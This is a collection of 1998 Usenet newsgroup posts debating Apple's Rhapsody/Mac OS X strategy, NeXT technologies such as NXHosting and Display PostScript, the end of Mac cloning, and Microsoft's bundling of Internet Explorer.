The only incentive Motorola's chip division and IBM had to make more parts
would be the total number of parts sold and the selling price. They
couldn't care less if they sold 3 million chips to one customer or two.
And the only available evidence says that the cloners didn't increase the
total market one bit.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 11:50:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2105981150310001@wil96.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5> <rmcassid-2005981540580001@dante.eng.uci.edu>
In article <rmcassid-2005981540580001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
> >nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> >> I wonder if the Finder will be replaceable. (No reason why they
> >> couldn't make it that way, but they might not bother.) If so --
> >> third party opportunity for a superior Yellow Finder.
> >
> >Apple doesn't strike me as the kind of company that likes to give
> >up control of *anything* to anyone. I could be, and hope I'm, wrong.
>
> Uh, the Finder is *currently* replacable, I believe. There is even a
> number of APIs to help you do it, has been for some years. I don't know of
> anyone that has bothered, however as the Finder delivers considerable
> functionality that would take a lot of effort to undo.
>
> For a *really* fun Finder replacement, you should be able to boot straight
> into Virtual PC and mount your MacOS drive as a D: drive via folder
> sharing. It only allows you access to your data, not any ability to launch
> apps. But you really don't need the Finder for that either.
It only takes about 2 minutes to set up your computer to boot right into
VPC instead of Finder.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 21 May 1998 12:55:17 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k187l$giu$6@ns3.vrx.net>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <6jplnc$kiv$3@brownfox.svs.com>
<maury-1805981757210001@ts32-15.tor.istar.ca> <3563c4fc.0@news.camtech.net.au>
<rmcassid-2105981009430001@dante.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rmcassid@uci.edu
In <rmcassid-2105981009430001@dante.eng.uci.edu> Robert Cassidy claimed:
> Well, CNN Interactive and news.com load on OmniWeb on DR2 virtually
> instantly, maybe a second - the whole page, all graphics, everything just
> pops up at once - it's *really* impressive.
Yup. And OmniWeb itself is stunning. When older Mac owners ask you why
they should upgrade, show them OW and then watch them ask you to go to
www.store.apple.com.
Maury
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <EtBJA7.24I@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchica
Date: Thu, 21 May 1998 17:58:05 GMT
Sounds like a monopoly to me.
Jon
--
To reply to me, please remove the _ from my email address.
Robert Cassidy wrote in message ...
>In article <see-below-2005982000250001@209.24.242.183>,
>see-below@not-my-address.com (Matthew Vaughan) wrote:
>
>> > How do you know? Did you talk to any of the Motorola people?
>>
>> Yes, this is an interesting point, isn't it? Motorola, the company that
>> makes the chips, couldn't have mustered enough chips to ship this
machine?
>> Ever wonder _why_ it took so long for them to ship 300+MHz PPC chips? I
>> certainly don't know, but it seemed to me they were a bit miffed at Apple
>> for closing them down (and IBM was too).
>
>I'm pretty sure at least some of those chips are manufactured by IBM, not
>not all. I seem to recall hearing about a slowdown in production when an
>ice storm knocked power out at IBMs plant in Quebec for a few weeks where
>the chips were being made.
>
>Those fast Mot systems would have been nice, but it would have thrown the
>whole cost/performance balance out of whack in a *major* way. Margins
>would have gone to zero and Apple would have been stuck with hundreds of
>millions in back inventory. Apple *certainly* wouldn't be the company it
>is today had Mot been able to go forward.
>
>Consider that the G3 systems were really geared to be sold at price points
>closer to $1200 at the low end. That would have totally undermined their
>604e inventory and created a demand they could never fill. Instead Apple
>jacked up the prices to an outrageous $1795, demand was still high, and
>Apple turned a huge profit in Jan when *nobody* was expecting one. _That_
>was the start of the turnaround and never would have come to pass had Mot
>been in the game.
>
>Mot and IBM might even have gotten a price concession by Apple for dumping
>cloning since Apple would clearly be able to pay a higher price for the
>chips due to super-high margins resulting from lack of competition. Apple
>would also buy more Mot and IBM services. All their new hardware has a lot
>of Mot and IBM work in them. I don't think Mot and IBM will be miffed for
>long. Apple will more than likely make it back up to them by being a
>better customer.
>
>-Bob Cassidy
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No more Rhapsody (Was: STEPWISE and Scott Kudos)
Date: 21 May 1998 18:05:30 GMT
Organization: Michigan State University
Message-ID: <6k1qda$aqk$1@msunews.cl.msu.edu>
References: <355c8968.0@206.25.228.5> <6jjfgn$c75$1@crib.bevc.blacksburg.va.us>
<Et58A7.1Hp@AWT.NL> <6jquet$jb8$1@news.digifix.com>
<6js7sk$t7p$1@msunews.cl.msu.edu> <1d9bpsi.1nmcenplells8N@cetus160.wco.com>
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Cc: mpaque@wco.com
In <1d9bpsi.1nmcenplells8N@cetus160.wco.com> Mike Paquette wrote:
> <spammers@ruin.the.internet.channelu.com> wrote:
>
> > I wonder if Mike is gnashing his teeth
> > over all the DPS is fast/eligant (and we've done a lot of work)
> > arguements he made in days past
>
> Nope. It's still fast and elegent. It also does nothing to address
the
> needs of the top 100 MacOS developers.
>
Greetings Mike,
Hmmm. I think we know that DPS is fast and elegant.
That it does nothing to address the needs of the top 100 MacOS
developers well I seriously question whether Carbon gets
anyone to Yellow Box. And if Apple thinks that much of
the top 100 MacOS developers. I really have to wonder
if few Yellow Box apps show up or they don't sell millions
of copies whether Apple will just fold up YB in the future
and stick with Carbon. Can you say Carbon Box?
Don't get me wrong Mike I'm really trying hard to
look at this from Apple's perspective. But we don't have
all the information that Apple has and that makes it tough
to understand these moves. I also understand that Apple
is MacOS on Mac hardware.
Given everything I've seen it is very clear that Apple
is trying to save it's remaining base of customers w/o
grabbing out at the hoards of Intel folks. You can say
that YB on 9x/NT does this and I'd agree. But I also
say it nets zero income to Apple unless some folks
buy enterprise. YB on 9x/NT is a way to put forth
new standards that everyone can have. It would
make it possible for me to live in Rhapsody (on intel
or PPC) and to have a video conferencing app, or
netphone, and to exchange documents etc with others
because YB is free - they only have to get their hands
on the YB applications. I hope that developer is
priced in such a way as to attract developers since
it seems that is what Apple needs desperately -
new YB developers.
I'm sorry to see that DPS has to go. I'm so pissed
at Adobe that I'll be trying to get everyone to boycott
Adobe whatever ways we can (and there are many
BTW). As to what will replace it - I hope its really
WYSIWIG like DPS was because it is one reason
I liked working with NeXTStep/Openstep..
As to Rhapsody. I don't understand why anyone
is going to buy it, or YB apps if Apple is betting the
farm on MacOS apps & Carbon. It's like your dealing
with a ton of MacOS junkies and now that you have
them hooked you can't change the supply. This doesn't
bode well for YB generating any significant income
in the near future. Nor is it a reason for anyone
but MacOS folks to purchase a PPC. Also from what
I see out here it'll be a cold day in hell for most of
my clients to start buying PPC's they just can't.
If they can be happy with YB on NT etc then
that would be great, but it doesn't sell a PPC
to anyone. It does sell some developer apps
possibly. I do sell a lot of Linux boxes now adays
and Rhapsody/Intel is a way toward Rhapsody/PPC
and a PPC sale. In fact it is the ONLY way I can
see.
Somehow I feel like I'm missing something
big here - scratching my head. It'll come to me
I'm sure.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 21 May 1998 17:55:51 GMT
Organization: P & L Systems
Message-ID: <6k1pr7$sr4$1@ironhorse.plsys.co.uk>
References: <joe.ragosta-1905980909400001@wil94.dol.net> <B18718E0-3215B@206.165.43.112>
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Cc: english@primenet.com
In <B18718E0-3215B@206.165.43.112> "Lawson English" wrote:
> And more than 2/3 of All existing Macs are running System 7.x by now, which
> means that 2/3 of all potential MacOS "AppleWorks" customers (will there be
> an "AppleWorks Office" I wonder?) use the same code-base.
>
> Which YOU want Apple to abandon by abandoning support for 68K Macs.
>
And these folks are contributing to Apple's bottom line how, exactly...?
If I had a 386 PC running Windows 3.11 I wouldn't expect much in the way of
support.
mmalc.
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <tvy67j0enft.fsf@cn1.connectnet.com> <6k1860$vn6$1@strato.ultra.net>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvyzpgb7acd.fsf@cn1.connectnet.com>
Date: Thu, 21 May 1998 18:22:27 GMT
NNTP-Posting-Date: Thu, 21 May 1998 11:22:27 PDT
"John Saunders" <jws@jws.ultranet.com> writes:
> [I've snipped the Word-API discussion because I don't have time to teach
> Object Oriented Design this Morning. Maybe later. Suffice it to say that at
> the interface level, Word and WordPerfect are very similar, except that I
> think WP had different or no styles]
If your interface level is very high, then yes. But then, your DLL
becomes the application, and the application is merely a GUI slapped
on top. That's the case with IWebBrowser.
But if the interface level is low, then the differences between the
two products become huge! For instance, if Word uses MFC, it is by
default vastly different from all applications that don't use it
(because it's such a wierd beast).
You don't need to fumble with an OOD lecture, because almost all
programmers with experience know products are vastly different under
the hood. Heck, talk to anyone that's lived through a conversion of
their product to client-server, and you'll probably hear them say how
the product organization had to change.
> Darrin, you should go look at IWebBrowser. It's a pretty high-level
> interface. The only methods are GoBack, GoForward, GoHome, GoSearch, Stop,
> Navigate(url), and Refresh/Refresh2. It has a few interesting properties
> like LocationName, LocationURL and Busy. I see no reason Netscape couldn't
> implment that.
Because then Netscape becomes merely a new GUI to IE. It's no
different than all those "hey, I built my very own web browser with
visual basic!" programs. Netscape no longer has control of *how*
these things work - if it wants a different way of "GoBack", they're
stuck (what an *absurd* thing to put into a general interface,
obviously MS programmers don't know OOD either). If a new browser
doesn't even want GoBack/GoForward or that style of navigation (it's
not universal), they're stuck too. Well, not *stuck* per se, they
just can't make good use of the DLL. What the business does a library
for a web browser have managing navigation?
It's too high level. It sounds like it's just IE with the GUI ripped
off and some glue slapped on to stop the bleeding.
> >They used the interfaces *before* they were documented and a part of
> >the OS. You yourself said earlier that IWebBrowser was in IE3.
> >Therefore, IE3 has used this interface long before the interface was
> >made a part of the operating system and before it was documented.
> >THAT'S A BOOST!
>
> Darrin, IE3 both defined and implemented the interface. It didn't exist
> before IE3, it shipped with IE3.
And that's a boost!!!! DUH! IE3 was released at exactly the same
time as the new interface that web browsers are supposed to use was
released. That gives - some quick calculations here - 0 man years
needed for IE to adapt to the new API's. That's unfair. MS controls
the API, and it also controls the applications, thus MS applications
have an unfair advantage over the competition.
Now if they'd annouced the API at the same time IE3 *started* it's
development, then things would be a little fairer. It's still not
completely fair though, as the API would have been designed with IE3
intended design in mind.
It would also have been better to have lower level DLL's instead. An
HTML renderer, an HTTP protocol library, a Java DLL, etc, all
*separate* (and separately replaceable). Thus, if Netscape decided
that it could huse the HTTP protocol library, but it wanted it's own
renderer (thus they can have their own HTML extensions instead of MS
ones), then it could do this easily. And it could this more easily
and more efficiently than if it had to throw away the entire
IWebBrowser.
It's simple Object Oriented Design. But I won't lecture you with that
here :-)
--
Darin Johnson
darin@usa.net.delete_me
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 18:02:46 GMT
Organization: P & L Systems
Message-ID: <6k1q86$sr4$2@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net>
<nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
<6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com>
<pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com>
<6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu>
<Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com>
<Et7rF0.8DH@midway.uchicago.edu> <don_arb-1905981147250001@sea-ts4-p67.wolfenet.com>
<35633A4A.674666DC@alumni.caltech.edu> <6k1da3$6hd$1@nnrp1.dejanews.com>
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Cc: anders@common.se
In <6k1da3$6hd$1@nnrp1.dejanews.com> anders@common.se wrote:
> In all fairness, Apple did it twice too. Before Copland there was Pink/
> Taligent, together with IBM and (if I remember correctly) HP.
>
IIRC Pink was in-house. It was folded into Taligent, after which it was just
folded.
Best wishes,
mmalc.
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jsn3d$3ri$2@gte1.gte.net> <tvy3ee4enaj.fsf@cn1.connectnet.com> <6jvvln$mg9$1@gte1.gte.net>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvywwbf79xy.fsf@cn1.connectnet.com>
Date: Thu, 21 May 1998 18:31:02 GMT
NNTP-Posting-Date: Thu, 21 May 1998 11:31:02 PDT
roger@. writes:
> >From what I read, it was an "allowable option". They're not requiring
> >it (as far as what I read on Tuesday anyway). There are other
> >allowable options, less onerous to MS.
>
> Well, MS seemed to find them all more-or-less onerous.
They're onerous because of MS. If MS had early on listened to the
DOJ, and decided not to design IE as an unseparable part of Win98,
then it wouldn't be onerous. But they glued the two together with
superglue(tm), even though they knew the DOJ didn't want that.
Their tactics backfired, and the DOJ called their bluff. This isn't
something new out of the blue; MS had the chance and the foreknowledge
to have designed things differently. It would have been a different
story if MS designed it this way long before the DOJ, the
competition, their customers started complaining about it; but the
fact is that MS had ample warning.
A big problem is that the DOJ waited so long. Government works too
slow when you want them to be fast, and they work too fast when you
want them to be slow :-)
> >All of them? Even a mom-and-pop-will-build-you-a-computer-shop?
>
> * Especially * mom-n-pop. They are unlikely to have signed an
> agreement directly with MS, so they have even more leeway than a big
> brand name.
But they're still OEM vendors (ie, the customers get OEM releases).
Many of them that I've seen anyway used OEM releases. (that's why I
always though it stupid that MS didn't support the OEM releases,
because too many of the mom-and-pop operations go out of business,
leaving the customers with no options for support)
--
Darin Johnson
darin@usa.net.delete_me
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 18 May 98 21:31:37
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May18213137@slave.doubleu.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355CC5FD.CF057A71@nstar.net>
<355DD280.7FCE9175@trilithon.com>
In-reply-to: Henry McGilton's message of Sat, 16 May 1998 10:53:04 -0700
In article <355DD280.7FCE9175@trilithon.com>,
Henry McGilton <henry@trilithon.com> writes:
By the way, I had made a suggestion that possibly distributed
objects could be used to obtain a kind of limited remote hosting,
where one app vends a view across the wire to another app that can
lock focus on the remote view and draw into it --- even assuming
that the new lightweight toolkit has the notion of lock focus
[Mike?].
I haven't tried this (yet) to see if it would work --- I could
flange up a couple of simple apps in an hour or so and test it
even on my one-host network; but if it does, it could provide
a stop-gap capability while we're waiting for the real thing.
Even if it did work - at some level, it's still depending on the same
underlying support NXHost is depending on. I doubt it would work
as-is, since this seems like an odd configuration to put the extra
work in to support, but you could probably do it using some add-ons.
The problem is that the -lockFocus is going as a DO message and will
actually execute on the remote box, but the DPS drawing code will be
on the local box, since it's not messages to an object. [The "you
could probably do it" would involve a custom View proxy which arranged
to redirect DPS drawing to the remote box. Still wouldn't handle
events, though.]
If they really do use QuickDraw, then we just have Yet Another
Function-Based Drawing Library, but lose the network capabilities.
I'd also be concerned about whether the APIs are focussed (unless they
were to pick one of the latest comprehensive APIs and deep-six the
rest for YellowBox),
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 18 May 98 21:52:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May18215210@slave.doubleu.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com>
<01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU>
In-reply-to: "Izumi Ohzawa"'s message of 16 May 1998 20:35:16 GMT
In article <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU>,
"Izumi Ohzawa" <izumi@pinoko.berkeley.edu> writes:
Still, I haven't heard any explanation as to why they decided to
break the client- server boundary at the shared-memory. If
multi-threading of DPDF engine is important, well, you can run
multiple threads of Display PDF on the server side each listening
to PDF streams from clients, either local or remote.
Perhaps, it is integration of QuickTime into NSView that drove this
decision.
I would appreciate more enlightenment, Mike?
Specifically, why couldn't local display be done as-is for Carbon and
Bluebox apps, and client/server display (not necessarily DPS) for
YellowBox apps? It's not like there's any compatibility problems
there.
And _PLEASE_ do not tell me that in order to draw with my advanced
object-oriented environment, I have to revert to a palpimset
function-based API, with 4 APIs to do the exact same thing, depending
on what timeframe of API you want to use.
It sounds suspiciously like building a fairly advanced new kernel
using all the avante garde OS principles, only to firmly anchor it
with Win32...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Alternatives to Adobe
Date: 20 May 98 17:26:01
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May20172601@slave.doubleu.com>
References: <6jh6lm$526$1@news.idiom.com>
In-reply-to: jcr.remove@this.phrase.idiom.com's message of 15 May 1998 10:50:30 GMT
In article <6jh6lm$526$1@news.idiom.com>,
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
I'd just like to mention that there are at least three alternatives
to Adobe DPS for a functional equivalent:
1) Display Ghostscript. Already a work in progress.
2) Sun's NeWS....
3) SGI's implementation of NeWS....
4) Adobe DPS. $1.6B/($20/copy)==80M copies.
The real problem is tracking things. We'd have no problems with a
$20/copy fee, if there were some means by which we could provably pull
back eval copies. For instance, if Apple were to put in some sort of
key-based or other licensing scheme which would allow for 30-day
trials and the like, you could purchase an "eval pack" which would
allow you to ship out X eval copies at a time, and after their
timeout, you could recycle the eval licenses.
Failing that, they could just give out a shrinkwrap addendum for eval
copies, which basically says that the evaluator can use the product
for a given period, after which they agree to either return all copies
or pay the $20/copy.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 98 17:15:17
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May20171517@slave.doubleu.com>
References: <ericb-1105981718430001@132.236.171.104>
<pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <6ja6bu$m3n$1@nnrp1.dejanews.com>
<6jaev0$h9c$1@larry.admin.phil.uu.nl>
<slrn6lhi7g.mi.jason@jhste1.dyn.ml.org> <6jbkn1$eua$2@news.idiom.com>
In-reply-to: jcr.remove@this.phrase.idiom.com's message of 13 May 1998 08:13:21 GMT
In article <6jbkn1$eua$2@news.idiom.com>,
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
Jason S. may or may not have said:
-> Freek Wiedijk posted the following to comp.sys.mac.advocacy:
-> >>Rhapsody buggy?
->
-> >The blue box is setuid root. That's a _big_ bug.
->
-> Why did they do _that_?
Probably necessary to mount disks.
That's not a good enough reason, to my mind. They should lift any
code that needs root privs out of the BlueBox and move it into an
auxiliary program which executes the calls using DO or something, and
run the BlueBox main under the user's id. In this way, they'll have a
smaller, more easily secured module to work with. [I do _not_ want to
see any CERT releases about how you can break root using the BlueBox.]
As an added advantage, this will prevent any other code which
coincidentally needs root privs from working automatically. Then
those pieces of functionality can also be lifted out to the aux
program, with suitable review to see what security holes they might
open up.
[For an example of what I'm talking about, see Stuart/slog under NS
and OS. BlueBox has to be, at minimum, 100x harder to secure than
Stuart.]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 20 May 98 17:28:09
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May20172809@slave.doubleu.com>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com>
<6jjo21$n53$9@news.idiom.com> <6jphq0$nl$1@walter.cs.umd.edu>
<6jpkuo$lm6$1@news.idiom.com>
In-reply-to: jcr.remove@this.phrase.idiom.com's message of 18 May 1998 15:43:20 GMT
In article <6jpkuo$lm6$1@news.idiom.com>,
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
Rev 1.0:
[[[Media mediaWithClue:nil] emulate:
[Reporter reporterWithName:@"Scott"]]
autorelease];
But what will you do about:
@implementation Media
...
- mediaWithClue:anObj
{
return nil;
}
...
@end
?????,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 18 May 98 21:40:09
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May18214009@slave.doubleu.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com>
<od871.624$Fi2.704485@news.rdc1.sdca.home.com>
<joe.ragosta-1805981458540001@wil131.dol.net>
In-reply-to: joe.ragosta@dol.net's message of Mon, 18 May 1998 14:58:53 -0400
In article <joe.ragosta-1805981458540001@wil131.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) writes:
In article <od871.624$Fi2.704485@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
Do you really think that the people on the Street even have a clue
on what NXHosting is and what it means to Apple? I doubt if it's
something that's going to have any direct impact on Apple's stock
price.
"People on the street" wouldn't recognize an ATM switch if you dropped
it on their head. They have analysts for this. If Apple sacrificed
NXHosting, there's yet another feature that Microsoft has that Apple
doesn't. [Doesn't make a difference if NXHost was 3x better than
anything Microsoft has, if it's gone now.]
I do feel the need to point out that though I missed the session in
question, I did attend an earlier session where it was implied that
they were _thinking_ about it, and weren't sure on their plans. And
comparing notes with other attendees, it's pretty clear that sometimes
sessions gave distinctly conflicting messages, depending on whether
the talk was given by someone from the NeXT viewpoint or the Mac
viewpoint.
[The best I heard was that someone had corralled a Mac guy after a
talk, and he clarified a point by saying that under MacOS X you
wouldn't be able to run Mac apps and YellowBox apps side-by-side, it
would require a reboot. Pretty obviously wrong, and things like that
are likely to have happened on _both_ sides of the divide,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: 18 May 98 21:25:04
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May18212504@slave.doubleu.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us>
<355C6969.6907242B@trilithon.com> <355c988e.0@192.33.12.30>
<6jnfkr$qjg$3@news.idiom.com>
In-reply-to: jcr.remove@this.phrase.idiom.com's message of 17 May 1998 20:00:27 GMT
In article <6jnfkr$qjg$3@news.idiom.com>,
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
jonathan klein may or may not have said:
[...]
-> Think of the schools and businesses with hundreds or thousands
-> of computers and the two or three administrators who have to
-> manage all the machines.
Right now, I can use Netinfo Manager to get at any machine on a
network of OpenStep hosts, and I don't have to use NSHost to do it.
Remote administration doesn't depend on display redirection.
Configure.app.
The point being that not all administrative data is in NetInfo, nor
should all such data necessarily _be_ in NetInfo, especially data
that's seldom constant across a network. NetInfo as currently
implemented has some scaling problems, and there are problems for
which the scaling problems are intrinsic to the problem, not the
implementation.
What's next, QuickDraw in the kernel?
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: 21 May 1998 13:36:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k1akr$giu$7@ns3.vrx.net>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <Et92p7.Dx8@AWT.NL>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: G.C.Th.Wierda@AWT.nl
In <Et92p7.Dx8@AWT.NL> Gerben Wierda claimed:
> This is a bogus argument. Either PPC is a lot better than PC hardware and
it
> will win the competition, or it is not.
It's not even THAT simple. With a potential "IntOS-X" you wouldn't be able
to run anyone else's programs except Yellow, and perhaps X/Unix. This is NOT
an OS that is going to steal sales from Apple's hardware because it doesn't
running Mac programs. Period.
Maury
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 20 May 98 16:59:02
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May20165902@slave.doubleu.com>
